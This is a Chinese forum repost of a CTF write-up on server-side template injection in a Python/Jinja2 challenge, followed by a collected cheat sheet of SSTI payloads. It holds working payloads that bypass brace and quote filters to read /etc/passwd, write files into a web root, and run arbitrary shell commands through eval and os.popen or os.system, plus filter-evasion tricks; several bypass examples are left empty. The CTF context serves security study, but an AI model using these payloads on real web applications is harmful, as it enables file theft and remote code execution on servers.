找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 174|回复: 0

攻防世界 --- 太湖杯 --- easy_web

[复制链接]

2万

主题

162

回帖

18万

积分

管理员

积分
184732
发表于 2022-7-22 10:13:47 | 显示全部楼层 |阅读模式 IP:山东省青岛市 移动

登录后更精彩...O(∩_∩)O...

您需要 登录 才可以下载或查看,没有账号?立即注册

×
1. 题目
2.png

0.png

2. 抓包发现是python,而且有输入框,第一反应想到的便是ssti模板注入,但是过滤了{ }之前遇到的都是过滤了{{,这种还好绕过,但是没有接触过也没查到相关资料就回归到题目上去,发现了
3.png


字符规范器,是不是找一些特殊字符可以恢复成{这种形式,就找一下跟{类似的特殊字符试一下


果然可以替换成功


str=%EF%B8%B7%EF%B8%B7().__class__.__bases__[0].__subclasses__()[191].__init__.__globals__.__builtins__[request.args.shy1](request.args.shy2).read()%EF%B8%B8%EF%B8%B8
?shy1=open­­2=/etc/passwd
1.png

在测试过程中发现单引号也被过滤掉,单引号比较容易绕过,只需使用request.args来进行绕过即可。

做的过程中,卡死在这一步了,赛后看了师傅的payload,自己也模仿一下:

[Bash shell] 纯文本查看 复制代码
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]

0.png



最后读取一下flag就可以了

除此之外,还可以使用Unicode字符绕过


object.__subclasses__()


4.png


参考师傅的payload:


{%for c in ''.__class__.__base__.__subclasses__()%}
{% if 'os' in c.__init__.__globals__%}
{{loop.index0 ~'_'~c.__name__~'-'}}
{% else %}
{{ '-' }}
{%endif%}
{% endfor %}

看来之后还是要多准备一些payload




from: https://blog.csdn.net/qq_43431158/article/details/109553120refer: https://blog.csdn.net/LYJ20010728/article/details/120205725




由于在jinja2中是可以直接访问python的一些对象及其方法的,所以可以通过构造继承链来执行一些操作,比如文件读取,命令执行等

魔术方法说明
__dict__保存类实例或对象实例的属性变量键值对字典
__class__返回调用的参数类型
__mro__返回一个包含对象所继承的基类元素,方法在解析时按照元组的顺序解析
__base__返回该对象所继承的基类
__subclasses__返回object的子类
__init__类的初始化方法
__globals__函数会以字典类型放回当前位置的全部全局变量与func_globals等价
__bases__返回该对象所继承的类型列表

1、基本步骤1.基础利用
使用魔术方法进行函数解析,获取基本类
[Java] 纯文本查看 复制代码
{% for c in ''.__class__.__base__.__subclasses__() %}
{% if '__builtins__' in c.__init__.__globals__%}
{{loop.index0 ~'_'~c.__name__~'-'}}
{% else %}
{{ '-' }}
{%endif%}

获取基本类后,继续获取基本类的object的子类
[Java] 纯文本查看 复制代码
{{''.__class__.__base__.__subclasses__()[81].__init__.__globals__['__builtins__']}}

这里可能子类中含有可以利用的函数,例如eval等

也可以利用模板控制语句

例如这样:

[Java] 纯文本查看 复制代码
//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )


2.利用内置模块执行命令
上面的实例中我们使用dir把内置的对象列举出来,其实可以用globals更深入的去看每个类可以调用的东西(包括模块,类,变量等等),如果有os这种可以直接传入命令,造成命令执行

利用控制语句找到可用的模块,或者builtins
[Java] 纯文本查看 复制代码
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}         //poppen的参数就是要执行的命令
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}


[Java] 纯文本查看 复制代码
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls ").read()' )


2.一些常用的payload

[JavaScript] 纯文本查看 复制代码
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')



查找命令

[JavaScript] 纯文本查看 复制代码
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd



3.命令执行

1、os.system()
用法:os.system(command)
但是用这个无法回显

2、os.popen()
用法:os.popen(command[,mode[,bufsize]])

popen方法通过p.read()获取终端输出,而且popen需要关闭close().当执行成功时,close()不返回任何值,失败时,close()返回系统返回值(失败返回1). 可见它获取返回值的方式和os.system不同。
还需要了解一个魔法函数
globals该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。

[JavaScript] 纯文本查看 复制代码
{{
''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()
}}&class=__class__&mro=__mro__&subclasses=__subclasses__


4、Bypas
如果遇到了过滤的情况,可以利用一下方式
1.拼接
例子:

[JavaScript] 纯文本查看 复制代码
__builtins__.eval()

2.过滤""[]
例子:

借助request对象:
request变量可以访问所有已发送的参数,因此我们可以request.args.param用来检索新的paramGET参数的值,将其中的request.args改为request.values则利用post的方式进行传参
[AppleScript] 纯文本查看 复制代码


3.过滤双下划线__
还是request方法

例子:

[JavaScript] 纯文本查看 复制代码


4.过滤一些函数名如import
例子:

python的初始模块_builtin__里有很多危险的方法,一条路没了就找找其他的路
我们可以直接用 eval() exec() execfile()等

[JavaScript] 纯文本查看 复制代码

from: https://bbs.pediy.com/thread-269544.htm




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|哩布大模型|Civitai大模型|IP定位|图反推|站长素材|deepseek|即梦视频|阿狗工具|花瓣网|pinterest|php手册|宝塔文档|CyberChef|猫捉鱼铃|手机版|小黑屋|下载狗|IPS|在线工具|分享屋 ( 鲁ICP备2021028754号 )

GMT+8, 2025-5-5 00:19

Powered by 分享屋 X3.5 Licensed

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表